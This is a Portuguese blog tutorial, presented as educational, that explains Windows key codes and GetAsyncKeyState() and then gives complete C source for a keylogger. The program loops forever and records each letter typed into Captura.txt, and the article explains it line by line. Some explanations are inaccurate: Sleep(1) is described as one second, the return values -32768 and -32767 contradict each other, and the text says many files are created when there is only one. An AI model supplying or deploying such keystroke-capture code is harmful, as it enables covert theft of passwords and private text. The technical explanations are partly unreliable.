Antes de começar a escrever esse artigo, quero deixar claro que a intenção aqui é ensinar, trazer a luz do conhecimento sem medos ou correntes que impeçam a evolução intelectual.
Quero mostrar que com um simples código conseguimos capturar informações de um teclado.
Você já deve ter escutado alguma vez a palavra keylogger e talvez até tenha tido a curiosidade de buscar no Google o que isso significa, certamente viu que é um programinha capaz de capturar informações que são digitadas em um computador.
Esse assunto é muito interessante, principalmente para quem quer seguir na área de segurança da informação.
Infelizmente algumas pessoas usam o conhecimento para coisas erradas, portanto, mais uma vez esclareço que a intenção desse artigo é puramente didática, é mostrar a força da linguagem C/C++ e tudo o que ela pode fazer para ajudar em uma possível jornada pela segurança.
O que veremos aqui não é uma exclusividade da linguagem C/C++, até usando VB você conseguiria criar algo semelhante, mas podemos dizer que com C/C++ tudo fica mais “interessante”.
Curso C Básico
Conhecer o cursoEntendendo a identificação de teclas
Para criar um keylogger é necessário saber a identificação de cada uma das teclas do nosso teclado.
Afinal, se queremos capturá-las, precisamos saber quem é quem nessa “salada de frutas”.
Isso pode ser feito de duas formas: através da identificação decimal que está mais dentro do nosso cotidiano ou pela identificação hexadecimal que foge um pouco do nosso dia a dia.
Veja abaixo algumas teclas com suas identificações:
##65 41 A
##66 42 B
##67 43 C
##68 44 D
##69 45 E
##70 46 F
##71 47 G
##72 48 H
##73 49 I
##74 4A J
##75 4B K
##76 4C L
##77 4D M
##78 4E N
##79 4F O
##80 50 P
##81 51 Q
##82 52 R
##83 53 S
##84 54 T
##85 55 U
##86 56 V
##87 57 W
##88 58 X
##89 59 Y
##90 5A Z
Note que na tabela acima temos a identificação decimal de cada letra do alfabeto na coluna da esquerda, na coluna central a identificação em Hexadecimal e na coluna da direita a letra representada.
Com o conhecimento dessas identificações já estamos na metade do caminho para a criação de um keylogger.
Tabela ASCII completa: http://www.ascii-code.com/
A função GetAsyncKeyState()
Agora vou apresentar a função que faz com que a captura das teclas seja possível, ela é a GetAsyncKeyState()
.
Essa função, na verdade, não captura coisa alguma. Ela simplesmente retorna o estado de uma tecla que lhe é passada como parâmetro.
Exemplo:
if(GetAsyncKeyState(65) == -32768)
printf("Tecla A foi pressionada
");
Repare que a função apenas retorna -32768
se a tecla estiver pressionada, caso contrário o retorno é 0
(zero).
Essa informação já é o suficiente para incrementarmos um código verificando o retorno das teclas pressionadas e gravando cada uma em um arquivo.txt
.
Criando o programa
Agora que já sabemos os valores das principais teclas do teclado e também qual é a função que faz a “mágica” da captura de teclas acontecer, vamos definitivamente criar nosso programa.
Veja o código abaixo:
#include <windows.h>
#include <stdio.h>
int main()
{
int result,teclas;
FILE *arquivo;
arquivo = fopen("Captura.txt","w");
while(1) {
for(teclas = 64; teclas <= 90; teclas++) {
Sleep(1);
result = GetAsyncKeyState(teclas);
if(result == -32767) {
fprintf(arquivo,"%c",teclas);
}
}
}
return 0;
}
Eis então o nosso código, agora vamos entender detalhadamente cada parte dele.
Primeiro temos nossas inclusões, que são necessárias para o seu funcionamento:
#include <windows.h>
#include <stdio.h>
Depois dentro da função principal criamos as variáveis que vamos usar.
int main()
{
int result,teclas;
FILE *arquivo;
Note que temos duas variáveis inteiras que serão usadas diretamente na verificação e captura das teclas, e depois temos o arquivo onde iremos gravar as informações capturadas.
Para abrir esse arquivo usamos a função fopen() como é apresentado abaixo:
arquivo = fopen("Captura.txt","w");
Veja que o identificador "w"
indica que estamos querendo fazer uma gravação de dados em Captura.txt
.
Por último, mas não menos importante, temos o laço infinito que é responsável pela verificação e captura de cada tecla.
while(1) {
for(teclas = 64; teclas <= 90; teclas++) {
Sleep(1);
result = GetAsyncKeyState(teclas);
if(result == -32767) {
fprintf(arquivo,"%c",teclas);
}
}
}
Repare que dentro desse laço temos um for
onde determinamos quais teclas serão analisadas. No caso, iniciando na tecla 64
que é um simples @
e terminando na tecla 90
que é a letra Z
.
Após a criação do laço devemos esperar 1 segundo com a função sleep()
e depois fazer as verificações com a função GetAsyncKeyState()
.
Feito isso, guardamos os valores retornados dentro de uma variável, que por sua vez é analisada dentro de uma condicional que verifica se determinada tecla está sendo pressionada.
Se estiver, gravamos a informação usando a função fprintf()
, que é usada justamente para escrever textos em arquivos.
Ufa! Acabamos. Agora é só executar o programa e digitar algumas informações e conferir a pasta do projeto, nela você terá todos os arquivos que foram criados com cada tecla capturada.
É isso pessoal, espero que tenham gostado do artigo. Abraço e até a próxima.